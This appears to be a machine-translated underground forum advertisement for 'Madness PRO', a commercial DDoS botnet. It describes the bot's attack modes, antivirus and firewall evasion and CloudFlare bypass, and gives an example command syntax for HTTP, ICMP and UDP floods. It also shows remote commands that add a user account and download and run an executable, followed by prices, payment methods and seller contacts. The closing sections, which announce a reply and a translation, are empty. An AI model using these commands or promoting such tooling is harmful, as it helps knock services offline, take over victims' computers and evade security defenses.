Meet Madness Pro or Few days rise of a Ddos Botnet

------------------------------------------
Madness PRO

Release Date: 01.09.2013

The history of creation :
In the summer of 2012 we started thinking about creating a fundamentally new DDoS - bot to test their own web resources on the fault-tolerance, since none of the systems tested did not deserve to even estimate "4".
The test samples during devoured memory load on the CPU local machine flew with errors, freezes on 50 % capacity CPU, making wrong entries in the registry , causing activation of protective systems , many weighty error was found in the control panels .
To create your own system, we have studied in detail : BlackEnergy ( source code ), gbot ( disassembling ), DirtJumper ( disassembling ), Darkness Optima ( source code , purchased under the contract ), iBot ( source code , purchased under the contract ), w3Bot ( source) , were also studied the source code of Zeus and many okolotemnyh programs.

capabilities
- Written in C + +, easily crypt is lightweight (compressed sample < 15KB )
- Full compatibility with all Windows family of NT (x86 and x64)
- Boat has 7 types of attacks
- Stability in the system. Indicators load on the CPU and RAM are very uniform .
- Do not attracted the attention of UAC and Windows Firewall
- Able to establish port, referal and cookies individually for each goal
- Supports up to 10 targets simultaneously
- Has a very low load on the CPU with the new , complex system of parsing commands ( all analogs parsing takes place inside a function in multiple threads - it's extra work load on the processor . New bot enters all data in the array before the attack on the function and come ready options address, port , referral , etc.)
- Has an enormous power output of more than 1500 http ( and more 30000 UDP) queries per minute through direct interaction with the network drivers , even on desktop Windows! (only using WinSock) is about 10 times more than some few analogs and more top ( on this parameter ) competitors.
- In the control panel are : the number of requests per minute , right in the system , the version of the system.
- Supports bypass CloudFlare protection ( !) And many other more common .
- Supports Slow GET and Slow POST modes !
- In the packet header specifies disabling the cache (Cache-Control: no-cache), which increases the load on the server .
- The protection of dialogue bot panel spetsklyuchem


Detection:
checking build (without crypt and packaging ), only 3 out of all the anti-virus gave a suspicion (AVIRA, ClamAV, VBA32). During the test key local AV : Kaspersky, Nod32, DrWeb, Avast missed a file in 100 % of cases.
Link Result : m.exe - Virus scanner Jotti


Modes of attack and the team
Since the system is a professional syntax commands davolno complex, but only at first sight = ) Command Syntax obratnosovmestim with the Darkness.

dd1 basic mode of operation via HTTP protocol using GET, using sokkety . Supports *** cookies and $ $ $ ref and allows for up to 10 targets simultaneously (separated by " ;") . The fastest search volume attack . Example : dd1 = http://ya.ru *** cookies $ $ $ referal; http://mail.ru *** cookies2 $ $ $ referal2

dd2 same treatment as dd1, only the method POST. Added optional parameter @ @ @ post_data. It is also support for up to 10 targets. Example : dd2 = http://forum.ru/index.php *** cookies $ $ $ referal @ @ @ login = yyy & password = hhh, this team posted a username and password yyy hhh on the script Zenon NSP - Paid web hosting , quality hosting PHP, MySQL and Perl. Choose a shared hosting at affordable prices. Great choice that

dd3 attack on the HTTP GET method using a system library WinInet.dll. Good old attack that is used in many Delphi bots . Slow due to the limitations of desktop Windows. Does not support the referral and cookies , supports up to 10 targets . Example : dd3 = http://host.com/script.php

dd4 attack via HTTP POST method using the system library WinInet. Same as dd3, only POST. Example:
dd4 = http://host.com/script.php @ @ @ @ @ @ login = yyy & password = hhh

dd5 ICMP attack ( pings ) . Supports up to 10 targets . Example dd5 = 198.168.0.1; 199.0.0.1

dd6 UDP attack . Supports up to 10 targets . Required parameters : port , and text. Example : dd6 = 192.168.0.2:27015 @ @ @ flud_text

dd7 attack on the HTTP GET method using a system library URMON.dll average speed attack that supports up to 10 targets and do not support cookies and referal

cfa command to bypass the protection CloudFlare (!). ONLY used during dd7. Not ostavnavlivaet the command dd7. The point is simple - the bot executes java script gets the desired cookie and believes CloudFlare requests made ​​by authorized dd7 . Example : dd7 = http://site.ru/index.php, then (after fifteen minutes ) cfa = http://site.ru/index.php

cmd command is executed on the command interpreter cmd.exe on the local machine . Does not stop the execution of other commands. Example : cmd = net user goodwin / add

exe command to load and run the EXE file. Does not stop the execution of other commands. The file is saved under the same name, under which he had been on the internet. Made three attempts to download the file . Example : exe = http://site.com/filename.exe

Control Panel :
We used a modified ~ 70 % PU from another set (purchased under a contract for change and resale ) by rewriting it almost completely, as it was found too many mistakes and did not like the code . Of course everything was corrected and optimized - New PU Enjoy !

Screenshots:
: screenshot: Screenshot | Screenshot (login screen)
: screenshot: Screenshot | Screenshot


Demo:
So, as the system is very powerful , and to demonstrate the need to only 15-20 boats that are always available - Sellers will try to demonstrate the power .

prices:
- Test License $ 0 ( only for checking the forums and testers. Updates are not provided )
- Basic License $ 500 (upgrade / Rebuild $ 50 upgrade to the new version $ 100 , the price of modules will be installed later)
- $ 950 full license ( all upgrades, rebuilds and modules are free)

discounts:
- 30% for the owners GBot / Andromeda / Dirt Dumper, basic license iBot, base / silver license Darkness
- 50 % for holders of gold and diamond license Darkness / iBot
- 20 % extra for those who acquired the products listed above are not more than a week ago.

payment
to accept POISON , WMR / WMZ / WMB, PM and LR. And as any currency through an exchanger.

Warranties :
Willingness to work through the guarantor of any known forum.

installment plan
In order to have a reputation and / or certificates of a system for people installments. Discussed individually.

Contacts
- Celler 1 ICQ: 902300
- Celler 2 ICQ: 903400
- Project Manager ICQ: 395891570

Ready to be tested under the administration of the forum.
------------------------------------------

Then he replied about  CloudFlare protection :

------------------------------------------

------------------------------------------
Translated by google as :

------------------------------------------